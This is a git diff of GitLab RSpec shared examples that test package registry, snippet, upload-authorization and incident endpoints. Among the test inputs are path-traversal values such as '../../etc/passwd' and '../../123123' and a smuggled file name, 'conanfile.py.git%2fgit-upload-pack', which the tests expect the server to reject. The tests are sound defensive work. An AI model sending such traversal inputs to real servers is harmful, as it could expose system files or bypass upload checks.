+ 'conaninfo.txt': "#{url_prefix}/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt"
+ }
+
+ subject
+
+ expect(response.body).to eq(expected_response.to_json)
+ end
+ end
+end
+
+RSpec.shared_examples 'delete package endpoint' do
+ let(:recipe_path) { package.conan_recipe_path }
+
+ it_behaves_like 'rejects invalid recipe'
+
+ it 'returns unauthorized for users without valid permission' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with delete permissions' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it_behaves_like 'a gitlab tracking event', 'API::ConanPackages', 'delete_package'
+
+ it 'deletes a package' do
+ expect { subject }.to change { Packages::Package.count }.from(2).to(1)
+ end
+ end
+end
+
+RSpec.shared_examples 'denies download with no token' do
+ context 'with no private token' do
+ let(:headers) { {} }
+
+ it 'returns 400' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+end
+
+RSpec.shared_examples 'a public project with packages' do
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+end
+
+RSpec.shared_examples 'an internal project with packages' do
+ before do
+ project.team.truncate
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::INTERNAL)
+ end
+
+ it_behaves_like 'denies download with no token'
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+end
+
+RSpec.shared_examples 'a private project with packages' do
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ it_behaves_like 'denies download with no token'
+
+ it 'returns the file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+
+ it 'denies download when not enough permissions' do
+ project.add_guest(user)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+end
+
+RSpec.shared_examples 'not found request' do
+ it 'returns not found' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+end
+
+RSpec.shared_examples 'recipe file download endpoint' do
+ it_behaves_like 'a public project with packages'
+ it_behaves_like 'an internal project with packages'
+ it_behaves_like 'a private project with packages'
+end
+
+RSpec.shared_examples 'package file download endpoint' do
+ it_behaves_like 'a public project with packages'
+ it_behaves_like 'an internal project with packages'
+ it_behaves_like 'a private project with packages'
+
+ context 'tracking the conan_package.tgz download' do
+ let(:package_file) { package.package_files.find_by(file_name: ::Packages::Conan::FileMetadatum::PACKAGE_BINARY) }
+
+ it_behaves_like 'a gitlab tracking event', 'API::ConanPackages', 'pull_package'
+ end
+end
+
+RSpec.shared_examples 'project not found by recipe' do
+ let(:recipe_path) { 'not/package/for/project' }
+
+ it_behaves_like 'not found request'
+end
+
+RSpec.shared_examples 'project not found by project id' do
+ let(:project_id) { 99999 }
+
+ it_behaves_like 'not found request'
+end
+
+RSpec.shared_examples 'workhorse authorize endpoint' do
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
+ it_behaves_like 'workhorse authorization'
+end
+
+RSpec.shared_examples 'workhorse recipe file upload endpoint' do
+ let(:file_name) { 'conanfile.py' }
+ let(:params) { { file: temp_file(file_name) } }
+
+ subject do
+ workhorse_finalize(
+ url,
+ method: :put,
+ file_key: :file,
+ params: params,
+ headers: headers_with_token,
+ send_rewritten_field: true
+ )
+ end
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
+ it_behaves_like 'uploads a package file'
+end
+
+RSpec.shared_examples 'workhorse package file upload endpoint' do
+ let(:file_name) { 'conaninfo.txt' }
+ let(:params) { { file: temp_file(file_name) } }
+
+ subject do
+ workhorse_finalize(
+ url,
+ method: :put,
+ file_key: :file,
+ params: params,
+ headers: headers_with_token,
+ send_rewritten_field: true
+ )
+ end
+
+ it_behaves_like 'rejects invalid recipe'
+ it_behaves_like 'rejects invalid file_name', 'conaninfo.txttest'
+ it_behaves_like 'uploads a package file'
+
+ context 'tracking the conan_package.tgz upload' do
+ let(:file_name) { ::Packages::Conan::FileMetadatum::PACKAGE_BINARY }
+
+ it_behaves_like 'a gitlab tracking event', 'API::ConanPackages', 'push_package'
+ end
+end
+
+RSpec.shared_examples 'uploads a package file' do
+ context 'file size above maximum limit' do
+ before do
+ params['file.size'] = project.actual_limits.conan_max_file_size + 1
+ end
+
+ it 'handles as a local file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context 'with object storage disabled' do
+ context 'without a file from workhorse' do
+ let(:params) { { file: nil } }
+
+ it 'rejects the request' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context 'with a file' do
+ it_behaves_like 'package workhorse uploads'
+ end
+
+ context 'without a token' do
+ it 'rejects request without a token' do
+ headers_with_token.delete('HTTP_AUTHORIZATION')
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when params from workhorse are correct' do
+ it 'creates package and stores package file' do
+ expect { subject }
+ .to change { project.packages.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ package_file = project.packages.last.package_files.reload.last
+ expect(package_file.file_name).to eq(params[:file].original_filename)
+ end
+
+ it "doesn't attempt to migrate file to object storage" do
+ expect(ObjectStorage::BackgroundMoveWorker).not_to receive(:perform_async)
+
+ subject
+ end
+ end
+ end
+
+ context 'with object storage enabled' do
+ context 'and direct upload enabled' do
+ let!(:fog_connection) do
+ stub_package_file_object_storage(direct_upload: true)
+ end
+
+ let(:tmp_object) do
+ fog_connection.directories.new(key: 'packages').files.create( # rubocop:disable Rails/SaveBang
+ key: "tmp/uploads/#{file_name}",
+ body: 'content'
+ )
+ end
+
+ let(:fog_file) { fog_to_uploaded_file(tmp_object) }
+
+ ['123123', '../../123123'].each do |remote_id|
+ context "with invalid remote_id: #{remote_id}" do
+ let(:params) do
+ {
+ file: fog_file,
+ 'file.remote_id' => remote_id
+ }
+ end
+
+ it 'responds with status 403' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
+ context 'with valid remote_id' do
+ let(:params) do
+ {
+ file: fog_file,
+ 'file.remote_id' => file_name
+ }
+ end
+
+ it 'creates package and stores package file' do
+ expect { subject }
+ .to change { project.packages.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ package_file = project.packages.last.package_files.reload.last
+ expect(package_file.file_name).to eq(params[:file].original_filename)
+ expect(package_file.file.read).to eq('content')
+ end
+ end
+ end
+
+ it_behaves_like 'background upload schedules a file migration'
+ end
+end
+
+RSpec.shared_examples 'workhorse authorization' do
+ it 'authorizes posting package with a valid token' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ end
+
+ it 'rejects request without a valid token' do
+ headers_with_token['HTTP_AUTHORIZATION'] = 'foo'
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'rejects request without a valid permission' do
+ project.add_guest(user)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ it 'rejects requests that bypassed gitlab-workhorse' do
+ headers_with_token.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'when using remote storage' do
+ context 'when direct upload is enabled' do
+ before do
+ stub_package_file_object_storage(enabled: true, direct_upload: true)
+ end
+
+ it 'responds with status 200, location of package remote store and object details' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(json_response).not_to have_key('TempPath')
+ expect(json_response['RemoteObject']).to have_key('ID')
+ expect(json_response['RemoteObject']).to have_key('GetURL')
+ expect(json_response['RemoteObject']).to have_key('StoreURL')
+ expect(json_response['RemoteObject']).to have_key('DeleteURL')
+ expect(json_response['RemoteObject']).not_to have_key('MultipartUpload')
+ end
+ end
+
+ context 'when direct upload is disabled' do
+ before do
+ stub_package_file_object_storage(enabled: true, direct_upload: false)
+ end
+
+ it 'handles as a local file' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(json_response['TempPath']).to eq(::Packages::PackageFileUploader.workhorse_local_upload_path)
+ expect(json_response['RemoteObject']).to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb b/spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb
index 8cbf11b6de1..f31cbcfdec1 100644
--- a/spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/custom_attributes_shared_examples.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
RSpec.shared_examples 'custom attributes endpoints' do |attributable_name|
- let!(:custom_attribute1) { attributable.custom_attributes.create key: 'foo', value: 'foo' }
- let!(:custom_attribute2) { attributable.custom_attributes.create key: 'bar', value: 'bar' }
+ let!(:custom_attribute1) { attributable.custom_attributes.create! key: 'foo', value: 'foo' }
+ let!(:custom_attribute2) { attributable.custom_attributes.create! key: 'bar', value: 'bar' }
describe "GET /#{attributable_name} with custom attributes filter" do
before do
@@ -14,8 +14,7 @@ RSpec.shared_examples 'custom attributes endpoints' do |attributable_name|
get api("/#{attributable_name}", user), params: { custom_attributes: { foo: 'foo', bar: 'bar' } }
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to be 2
- expect(json_response.map { |r| r['id'] }).to contain_exactly attributable.id, other_attributable.id
+ expect(json_response.map { |r| r['id'] }).to include(attributable.id, other_attributable.id)
end
end
@@ -40,7 +39,7 @@ RSpec.shared_examples 'custom attributes endpoints' do |attributable_name|
get api("/#{attributable_name}", user), params: { with_custom_attributes: true }
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to be 2
+ expect(json_response).not_to be_empty
expect(json_response.first).not_to include 'custom_attributes'
end
end
@@ -50,16 +49,15 @@ RSpec.shared_examples 'custom attributes endpoints' do |attributable_name|
get api("/#{attributable_name}", admin)
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to be 2
+ expect(json_response).not_to be_empty
expect(json_response.first).not_to include 'custom_attributes'
- expect(json_response.second).not_to include 'custom_attributes'
end
it 'includes custom attributes if requested' do
get api("/#{attributable_name}", admin), params: { with_custom_attributes: true }
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to be 2
+ expect(json_response).not_to be_empty
attributable_response = json_response.find { |r| r['id'] == attributable.id }
other_attributable_response = json_response.find { |r| r['id'] == other_attributable.id }
@@ -132,7 +130,7 @@ RSpec.shared_examples 'custom attributes endpoints' do |attributable_name|
end
context 'with an authorized user' do
- it'returns a single custom attribute' do
+ it 'returns a single custom attribute' do
get api("/#{attributable_name}/#{attributable.id}/custom_attributes/foo", admin)
expect(response).to have_gitlab_http_status(:ok)
diff --git a/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
index 48824a4b0d2..62dbac3fd4d 100644
--- a/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb
@@ -8,3 +8,42 @@ RSpec.shared_examples 'when the snippet is not found' do
it_behaves_like 'a mutation that returns top-level errors',
errors: [Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR]
end
+
+RSpec.shared_examples 'snippet edit usage data counters' do
+ context 'when user is sessionless' do
+ it 'does not track usage data actions' do
+ expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).not_to receive(:track_snippet_editor_edit_action)
+
+ post_graphql_mutation(mutation, current_user: current_user)
+ end
+ end
+
+ context 'when user is not sessionless' do
+ before do
+ session_id = Rack::Session::SessionId.new('6919a6f1bb119dd7396fadc38fd18d0d')
+ session_hash = { 'warden.user.user.key' => [[current_user.id], current_user.encrypted_password[0, 29]] }
+
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set("session:gitlab:#{session_id.private_id}", Marshal.dump(session_hash))
+ end
+
+ cookies[Gitlab::Application.config.session_options[:key]] = session_id.public_id
+ end
+
+ it 'tracks usage data actions', :clean_gitlab_redis_shared_state do
+ expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).to receive(:track_snippet_editor_edit_action)
+
+ post_graphql_mutation(mutation)
+ end
+
+ context 'when mutation result raises an error' do
+ it 'does not track usage data actions' do
+ mutation_vars[:title] = nil
+
+ expect(::Gitlab::UsageDataCounters::EditorUniqueCounter).not_to receive(:track_snippet_editor_edit_action)
+
+ post_graphql_mutation(mutation)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
index fcdc594f258..6aac51a5903 100644
--- a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
@@ -175,7 +175,7 @@ RSpec.shared_examples 'process nuget upload' do |user_type, status, add_member =
context 'with object storage enabled' do
let(:tmp_object) do
- fog_connection.directories.new(key: 'packages').files.create(
+ fog_connection.directories.new(key: 'packages').files.create( # rubocop:disable Rails/SaveBang
key: "tmp/uploads/#{file_name}",
body: 'content'
)
diff --git a/spec/support/shared_examples/requests/api/packages_shared_examples.rb b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
index 6f4a0236b66..c9a33701161 100644
--- a/spec/support/shared_examples/requests/api/packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
@@ -41,3 +41,88 @@ RSpec.shared_examples 'deploy token for package uploads' do
end
end
end
+
+RSpec.shared_examples 'does not cause n^2 queries' do
+ it 'avoids N^2 database queries' do
+ # we create a package to set the baseline for expected queries from 1 package
+ create(
+ :npm_package,
+ name: "@#{project.root_namespace.path}/my-package",
+ project: project,
+ version: "0.0.1"
+ )
+
+ control = ActiveRecord::QueryRecorder.new do
+ get api(url)
+ end
+
+ 5.times do |n|
+ create(
+ :npm_package,
+ name: "@#{project.root_namespace.path}/my-package",
+ project: project,
+ version: "#{n}.0.0"
+ )
+ end
+
+ expect do
+ get api(url)
+ end.not_to exceed_query_limit(control)
+ end
+end
+
+RSpec.shared_examples 'job token for package GET requests' do
+ context 'with job token headers' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.add_developer(user)
+ end
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, 'bar') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ context 'invalid user' do
+ let(:headers) { basic_auth_header('foo', job.token) }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+ end
+end
+
+RSpec.shared_examples 'job token for package uploads' do
+ context 'with job token headers' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token).merge(workhorse_header) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.add_developer(user)
+ end
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, 'bar').merge(workhorse_header) }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ context 'invalid user' do
+ let(:headers) { basic_auth_header('foo', job.token).merge(workhorse_header) }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
index 4954151b93b..715c494840e 100644
--- a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
@@ -58,7 +58,7 @@ RSpec.shared_examples 'PyPi package creation' do |user_type, status, add_member
context 'with object storage enabled' do
let(:tmp_object) do
- fog_connection.directories.new(key: 'packages').files.create(
+ fog_connection.directories.new(key: 'packages').files.create( # rubocop:disable Rails/SaveBang
key: "tmp/uploads/#{file_name}",
body: 'content'
)
diff --git a/spec/support/shared_examples/requests/api/snippets_shared_examples.rb b/spec/support/shared_examples/requests/api/snippets_shared_examples.rb
index cfbb84dd099..051367fbe96 100644
--- a/spec/support/shared_examples/requests/api/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/snippets_shared_examples.rb
@@ -77,3 +77,142 @@ RSpec.shared_examples 'raw snippet files' do
end
end
end
+
+RSpec.shared_examples 'snippet file updates' do
+ let(:create_action) { { action: 'create', file_path: 'foo.txt', content: 'bar' } }
+ let(:update_action) { { action: 'update', file_path: 'CHANGELOG', content: 'bar' } }
+ let(:move_action) { { action: 'move', file_path: '.old-gitattributes', previous_path: '.gitattributes' } }
+ let(:delete_action) { { action: 'delete', file_path: 'CONTRIBUTING.md' } }
+ let(:bad_file_path) { { action: 'create', file_path: '../../etc/passwd', content: 'bar' } }
+ let(:bad_previous_path) { { action: 'create', previous_path: '../../etc/passwd', file_path: 'CHANGELOG', content: 'bar' } }
+ let(:invalid_move) { { action: 'move', file_path: 'missing_previous_path.txt' } }
+
+ context 'with various snippet file changes' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:is_multi_file, :file_name, :content, :files, :status) do
+ true | nil | nil | [create_action] | :success
+ true | nil | nil | [update_action] | :success
+ true | nil | nil | [move_action] | :success
+ true | nil | nil | [delete_action] | :success
+ true | nil | nil | [create_action, update_action] | :success
+ true | 'foo.txt' | 'bar' | [create_action] | :bad_request
+ true | 'foo.txt' | 'bar' | nil | :bad_request
+ true | nil | nil | nil | :bad_request
+ true | 'foo.txt' | nil | [create_action] | :bad_request
+ true | nil | 'bar' | [create_action] | :bad_request
+ true | '' | nil | [create_action] | :bad_request
+ true | nil | '' | [create_action] | :bad_request
+ true | nil | nil | [bad_file_path] | :bad_request
+ true | nil | nil | [bad_previous_path] | :bad_request
+ true | nil | nil | [invalid_move] | :unprocessable_entity
+
+ false | 'foo.txt' | 'bar' | nil | :success
+ false | 'foo.txt' | nil | nil | :success
+ false | nil | 'bar' | nil | :success
+ false | 'foo.txt' | 'bar' | [create_action] | :bad_request
+ false | nil | nil | nil | :bad_request
+ false | nil | '' | nil | :bad_request
+ false | nil | nil | [bad_file_path] | :bad_request
+ false | nil | nil | [bad_previous_path] | :bad_request
+ end
+
+ with_them do
+ before do
+ allow_any_instance_of(Snippet).to receive(:multiple_files?).and_return(is_multi_file)
+ end
+
+ it 'has the correct response' do
+ update_params = {}.tap do |params|
+ params[:files] = files if files
+ params[:file_name] = file_name if file_name
+ params[:content] = content if content
+ end
+
+ update_snippet(params: update_params)
+
+ expect(response).to have_gitlab_http_status(status)
+ end
+ end
+
+ context 'when save fails due to a repository commit error' do
+ before do
+ allow_next_instance_of(Repository) do |instance|
+ allow(instance).to receive(:multi_action).and_raise(Gitlab::Git::CommitError)
+ end
+
+ update_snippet(params: { files: [create_action] })
+ end
+
+ it 'returns a bad request response' do
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'snippet non-file updates' do
+ it 'updates a snippet non-file attributes' do
+ new_description = 'New description'
+ new_title = 'New title'
+ new_visibility = 'internal'
+
+ update_snippet(params: { title: new_title, description: new_description, visibility: new_visibility })
+
+ snippet.reload
+
+ aggregate_failures do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(snippet.description).to eq(new_description)
+ expect(snippet.visibility).to eq(new_visibility)
+ expect(snippet.title).to eq(new_title)
+ end
+ end
+end
+
+RSpec.shared_examples 'snippet individual non-file updates' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:attribute, :updated_value) do
+ :description | 'new description'
+ :title | 'new title'
+ :visibility | 'private'
+ end
+
+ with_them do
+ it 'updates the attribute' do
+ params = { attribute => updated_value }
+
+ expect { update_snippet(params: params) }
+ .to change { snippet.reload.send(attribute) }.to(updated_value)
+ end
+ end
+end
+
+RSpec.shared_examples 'invalid snippet updates' do
+ it 'returns 404 for invalid snippet id' do
+ update_snippet(snippet_id: non_existing_record_id, params: { title: 'foo' })
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Snippet Not Found')
+ end
+
+ it 'returns 400 for missing parameters' do
+ update_snippet
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+
+ it 'returns 400 if content is blank' do
+ update_snippet(params: { content: '' })
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+
+ it 'returns 400 if title is blank' do
+ update_snippet(params: { title: '' })
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq 'title is empty'
+ end
+end
diff --git a/spec/support/shared_examples/requests/snippet_shared_examples.rb b/spec/support/shared_examples/requests/snippet_shared_examples.rb
index a17163328f4..84ef7723b9b 100644
--- a/spec/support/shared_examples/requests/snippet_shared_examples.rb
+++ b/spec/support/shared_examples/requests/snippet_shared_examples.rb
@@ -2,6 +2,10 @@
RSpec.shared_examples 'update with repository actions' do
context 'when the repository exists' do
+ before do
+ allow_any_instance_of(Snippet).to receive(:multiple_files?).and_return(false)
+ end
+
it 'commits the changes to the repository' do
existing_blob = snippet.blobs.first
new_file_name = existing_blob.path + '_new'
diff --git a/spec/support/shared_examples/serializers/diff_file_entity_shared_examples.rb b/spec/support/shared_examples/serializers/diff_file_entity_shared_examples.rb
index 1ef08de31a9..7608f1c7f8a 100644
--- a/spec/support/shared_examples/serializers/diff_file_entity_shared_examples.rb
+++ b/spec/support/shared_examples/serializers/diff_file_entity_shared_examples.rb
@@ -57,16 +57,6 @@ RSpec.shared_examples 'diff file entity' do
expect(subject).to include(:highlighted_diff_lines)
end
end
-
- context 'when the `single_mr_diff_view` feature is disabled' do
- before do
- stub_feature_flags(single_mr_diff_view: false)
- end
-
- it 'contains both kinds of diffs' do
- expect(subject).to include(:highlighted_diff_lines, :parallel_diff_lines)
- end
- end
end
end
diff --git a/spec/support/shared_examples/services/alert_management_shared_examples.rb b/spec/support/shared_examples/services/alert_management_shared_examples.rb
index a1354a8099b..1ae74979b7a 100644
--- a/spec/support/shared_examples/services/alert_management_shared_examples.rb
+++ b/spec/support/shared_examples/services/alert_management_shared_examples.rb
@@ -39,3 +39,41 @@ RSpec.shared_examples 'adds an alert management alert event' do
subject
end
end
+
+RSpec.shared_examples 'processes incident issues' do
+ let(:create_incident_service) { spy }
+
+ before do
+ allow_any_instance_of(AlertManagement::Alert).to receive(:execute_services)
+ end
+
+ it 'processes issues' do
+ expect(IncidentManagement::ProcessAlertWorker)
+ .to receive(:perform_async)
+ .with(nil, nil, kind_of(Integer))
+ .once
+
+ Sidekiq::Testing.inline! do
+ expect(subject).to be_success
+ end
+ end
+end
+
+RSpec.shared_examples 'does not process incident issues' do
+ it 'does not process issues' do
+ expect(IncidentManagement::ProcessAlertWorker)
+ .not_to receive(:perform_async)
+
+ expect(subject).to be_success
+ end
+end
+
+RSpec.shared_examples 'does not process incident issues due to error' do |http_status:|
+ it 'does not process issues' do
+ expect(IncidentManagement::ProcessAlertWorker)
+ .not_to receive(:perform_async)
+
+ expect(subject).to be_error
+ expect(subject.http_status).to eq(http_status)
+ end
+end
diff --git a/spec/support/shared_examples/services/common_system_notes_shared_examples.rb b/spec/support/shared_examples/services/common_system_notes_shared_examples.rb
index 20856b05de6..5b95a5753a1 100644
--- a/spec/support/shared_examples/services/common_system_notes_shared_examples.rb
+++ b/spec/support/shared_examples/services/common_system_notes_shared_examples.rb
@@ -5,7 +5,7 @@ RSpec.shared_examples 'system note creation' do |update_params, note_text|
before do
issuable.assign_attributes(update_params)
- issuable.save
+ issuable.save!
end
it 'creates 1 system note with the correct content' do
diff --git a/spec/support/shared_examples/services/incident_shared_examples.rb b/spec/support/shared_examples/services/incident_shared_examples.rb
new file mode 100644
index 00000000000..d6e79931df5
--- /dev/null
+++ b/spec/support/shared_examples/services/incident_shared_examples.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+# This shared_example requires the following variables:
+# - issue (required)
+#
+# Usage:
+#
+# it_behaves_like 'incident issue' do
+# let(:issue) { ... }
+# end
+#
+# include_examples 'incident issue'
+RSpec.shared_examples 'incident issue' do
+ let(:label_properties) { attributes_for(:label, :incident) }
+
+ it 'has incident as issue type' do
+ expect(issue.issue_type).to eq('incident')
+ end
+
+ it 'has exactly one incident label' do
+ expect(issue.labels).to be_one do |label|
+ label.slice(*label_properties.keys).symbolize_keys == label_properties
+ end
+ end
+end
+
+# This shared_example requires the following variables:
+# - issue (required)
+#
+# Usage:
+#
+# it_behaves_like 'not an incident issue' do
+# let(:issue) { ... }
+# end
+#
+# include_examples 'not an incident issue'
+RSpec.shared_examples 'not an incident issue' do
+ let(:label_properties) { attributes_for(:label, :incident) }
+
+ it 'has not incident as issue type' do
+ expect(issue.issue_type).not_to eq('incident')
+ end
+
+ it 'has not an incident label' do
+ expect(issue.labels).not_to include(have_attributes(label_properties))
+ end
+end
diff --git a/spec/support/shared_examples/services/issuable_shared_examples.rb b/spec/support/shared_examples/services/issuable_shared_examples.rb
index 9eb66e33513..47c7a1e7356 100644
--- a/spec/support/shared_examples/services/issuable_shared_examples.rb
+++ b/spec/support/shared_examples/services/issuable_shared_examples.rb
@@ -8,37 +8,6 @@ RSpec.shared_examples 'cache counters invalidator' do
end
end
-RSpec.shared_examples 'system notes for milestones' do
- def update_issuable(opts)
- issuable = try(:issue) || try(:merge_request)
- described_class.new(project, user, opts).execute(issuable)
- end
-
- context 'group milestones' do
- let(:group) { create(:group) }
- let(:group_milestone) { create(:milestone, group: group) }
-
- before do
- project.update(namespace: group)
- create(:group_member, group: group, user: user)
- end
-
- it 'creates a system note' do
- expect do
- update_issuable(milestone: group_milestone)
- end.to change { Note.system.count }.by(1)
- end
- end
-
- context 'project milestones' do
- it 'creates a system note' do
- expect do
- update_issuable(milestone: create(:milestone, project: project))
- end.to change { Note.system.count }.by(1)
- end
- end
-end
-
RSpec.shared_examples 'updating a single task' do
def update_issuable(opts)
issuable = try(:issue) || try(:merge_request)
diff --git a/spec/support/shared_examples/services/merge_request_shared_examples.rb b/spec/support/shared_examples/services/merge_request_shared_examples.rb
new file mode 100644
index 00000000000..a7032640217
--- /dev/null
+++ b/spec/support/shared_examples/services/merge_request_shared_examples.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'reviewer_ids filter' do
+ context 'filter_reviewer' do
+ let(:opts) { super().merge(reviewer_ids_param) }
+
+ context 'without reviewer_ids' do
+ let(:reviewer_ids_param) { {} }
+
+ it 'contains no reviewer_ids' do
+ expect(execute.reviewers).to eq []
+ end
+ end
+
+ context 'with reviewer_ids' do
+ let(:reviewer_ids_param) { { reviewer_ids: [reviewer1.id, reviewer2.id, reviewer3.id] } }
+
+ let(:reviewer1) { create(:user) }
+ let(:reviewer2) { create(:user) }
+ let(:reviewer3) { create(:user) }
+
+ context 'when the current user can admin the merge_request' do
+ context 'when merge_request_reviewer feature is enabled' do
+ before do
+ stub_feature_flags(merge_request_reviewer: true)
+ end
+
+ context 'with reviewers who can read the merge_request' do
+ before do
+ project.add_developer(reviewer1)
+ project.add_developer(reviewer2)
+ end
+
+ it 'contains reviewers who can read the merge_request' do
+ expect(execute.reviewers).to contain_exactly(reviewer1, reviewer2)
+ end
+ end
+ end
+
+ context 'when merge_request_reviewer feature is disabled' do
+ before do
+ stub_feature_flags(merge_request_reviewer: false)
+ end
+
+ it 'contains no reviewers' do
+ expect(execute.reviewers).to eq []
+ end
+ end
+ end
+
+ context 'when the current_user cannot admin the merge_request' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'contains no reviewers' do
+ expect(execute.reviewers).to eq []
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/packages_shared_examples.rb b/spec/support/shared_examples/services/packages_shared_examples.rb
index 45a4c2bb151..7fd59c3d963 100644
--- a/spec/support/shared_examples/services/packages_shared_examples.rb
+++ b/spec/support/shared_examples/services/packages_shared_examples.rb
@@ -14,6 +14,14 @@ RSpec.shared_examples 'assigns build to package' do
end
end
+RSpec.shared_examples 'assigns the package creator' do
+ it 'assigns the package creator' do
+ subject
+
+ expect(package.creator).to eq user
+ end
+end
+
RSpec.shared_examples 'returns packages' do |container_type, user_type|
context "for #{user_type}" do
before do
@@ -161,6 +169,7 @@ RSpec.shared_examples 'filters on each package_type' do |is_project: false|
let_it_be(:package4) { create(:nuget_package, project: project) }
let_it_be(:package5) { create(:pypi_package, project: project) }
let_it_be(:package6) { create(:composer_package, project: project) }
+ let_it_be(:package7) { create(:generic_package, project: project) }
Packages::Package.package_types.keys.each do |package_type|
context "for package type #{package_type}" do
diff --git a/spec/support/shared_examples/services/snippets_shared_examples.rb b/spec/support/shared_examples/services/snippets_shared_examples.rb
